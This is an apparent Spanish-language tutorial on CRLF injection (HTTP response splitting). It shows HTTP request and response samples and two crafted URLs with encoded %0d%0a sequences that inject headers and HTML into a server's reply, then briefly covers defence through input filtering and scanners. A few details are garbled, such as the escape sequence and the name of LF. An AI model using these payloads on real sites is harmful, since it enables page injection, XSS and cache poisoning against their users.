Las vulnerabilidades web están de moda, y una de ellas es la inyección CRLF (CRLF Injection). Esta vulnerabilidad ocurre cuando un atacante es capaz de inyectar datos en una petición a un servidor, debido a la falta de filtrado de datos de entrada por parte del mismo. En este caso, la web afectada permite pasar directamente valores a los campos de respuesta (Location, Set-Cookie..) sin sanearlos lo que a su vez nos permite diversos tipos de ataque como XSS, Cache-Poisoning, Cache-based defacement,page injection..
Las siglas CRLF vienen de CR (Carriage return o retorno de carro) y de LF (Line Feed o salto de línea). Ambos son carácteres "invisibles" que indican el final de línea para importantes protocolos como HTTP, MIME o NNTP. En código ASCII el CR tiene valor 13 y el LF valor 10 y a veces se escriben de la manera siguiente "r\n\".
El ataque CRLF ocurre cuando un atacante consigue, modificando un parámetro HTTP o URL, inyectar el código correspondiente a CRLF al servidor como veremos después en un ejemplo, lo que le permite manipular muchos aspectos de la propia petición. A continuación podemos observar un ejemplo de petición HTTP por parte de nuestro navegador:
GET/HTTP/1.1[CRLF]
Host: www.ABC.com[CRLF]
Mozilla/5.0 (Windows NT 6.0; rv:17.0) Gecko/17.0 Firefox/17.0[CRLF]
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5[CRLF]
Accept-Encoding: gzip, deflate[CRLF]
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7[CRLF]
Connection: keep-alive[CRLF][CRLF]
como podemos ver, las diferentes cabeceras se separan con CRLF. La respuesta por parte del servidor a nuestro navegador sería
HTTP/1.1,200,OK[CRLF]
Date: Sat,3,Nov,2012 10:01:46 GMT[CRLF]
Server: Apache/1.3.33 (Win32)
PHP/5.0.2[CRLF]
X-Powered-By: PHP/5.0.2[CRLF]
Keep-Alive: timeout=15, max=100[CRLF]
Connection: Keep-Alive[CRLF]
Transfer-Encoding: chunked[CRLF]
Content-Type: text/html[CRLF][CRLF]
el problema de que un atacante pueda introducir nuevas cabeceras en estas peticiones añadiendo CRLF es que pasará de facto a controlar las funciones de la aplicación web. Vamos a ver un par de ejemplos, para introducir CRLF debemos tener en cuenta que la versión hexadecimal es %0d%0a (CR tiene también el valor D o 0D en hexadecimal y RL tiene el valor A o 0A en hexadecimal), por lo que por ejemplo, podríamos crear el siguiente link manipulado
http://www.abc.com/page.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3EHacker%3C/html%3E
Enviando a la víctima a una web con el siguiente contenido:
<html>Hacker</html>
Aunque esto parezca muy sencillo, imaginad la página que podéis montar con esta técnica, además del echo que ha sido el servidor web legítimo quien ha generado el código, por lo que hemos inyectado código en el navegador de la víctima a través del servidor web. La misma técnica puede ser refinada y empleada para todos los tipos de ataques que hemos comentado anteriormente.
Un segundo ejemplo, en el que podéis ver directamente la petición web modificada directamente
GET/redir.php?url=%0d%0aContent-Type:%20text/html
%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:
%20text/html%0d%0a%0d%0a%3Ccenter%3E
%3Ch1%3EHacked%3C/h1%3E%3C/center%3E
HTTP/1.1[CRLF]
Host: www.abc.com[CRLF]
Mozilla/5.0 (Windows NT 6.0; rv:17.0) Gecko/17.0 Firefox/17.0[CRLF]
Accept:text/html,application/xhtml+xml,application/xml;q
=0.9,*/*;q=0.8[CRLF]
Accept-Language: en-us,en;q=0.5[CRLF]
Accept-Encoding: gzip, deflate[CRLF]
Accept-Charset: ISO-8859-1,utf-
8;q=0.7,*;q=0.7[CRLF]
Connection: keep-alive[CRLF][CRLF]
la respuesta del servidor en este caso sería
HTTP/1.1 302 Found[CRLF]
Date: Sat,3,Nov,2012 10:32:46 GMT[CRLF]
Server: Apache/1.3.33 (Win32) PHP/5.0.2[CRLF]
X-Powered-By: PHP/5.0.2[CRLF]
Location:[CRLF]
Content-Type: text/html[CRLF][CRLF]
HTTP/1.1 200 OK [CRLF] (nueva cabecera creada con la inyección CRLF)
Content-Type: text/html[CRLF][CRLF]
<center><h1>Hacker</h1></center>[CRLF]
Keep-Alive: timeout=15, max=100[CRLF]
Connection: Keep-Alive[CRLF]
Transfer-Encoding: chunked[CRLF]
Content-Type: text/html[CRLF][CRLF]
Con esto hemos visto como podemos crear nuevas cabeceras usando la inyección CRLF, pudiendo de esta manera modificar el contenido que genera el servidor web en nuestro navegador, en este caso mostraría una web simplemente con la palabra "Hacker" centrada. A partir de aquí la imaginación del atacante puede crear multitud de maneras de aprovecharse de esta vulnerabilidad, existiendo muchos ejemplos públicos.
Como protegernos de este tipo de ataques?
Como ya hemos comentado en otros tipos de ataques, el método más efectivo para evitar estos es aplicar filtros sobre cualquier dato que entre a nuestro servidor o a nuestra web, examinando y saneando las diferentes variables que puedan aprovecharse de CRLF. Para ayudarnos en la tarea de localizar puntos vulnerables en nuestra web siempre podemos utilizar scanners de vulnerabilidades automatizados que suelen encontrar este tipo de vulnerabilidades.